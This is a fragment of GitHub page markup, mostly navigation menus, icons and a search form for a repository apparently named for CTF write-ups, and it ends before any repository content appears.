<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="96701284" data-scoped-search-url="/coldBug/ctfwriteups/search" data-owner-scoped-search-url="/users/coldBug/search" data-unscoped-search-url="/search" data-turbo="false" action="/coldBug/ctfwriteups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="tMl3pUnoTh3hLOTTtNeBW9Ilf4Wir1nVPvBF63FkBCOouNiDdtU3RBU4sJwup9fcIuD4EokolTrpUXt2CkweCg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
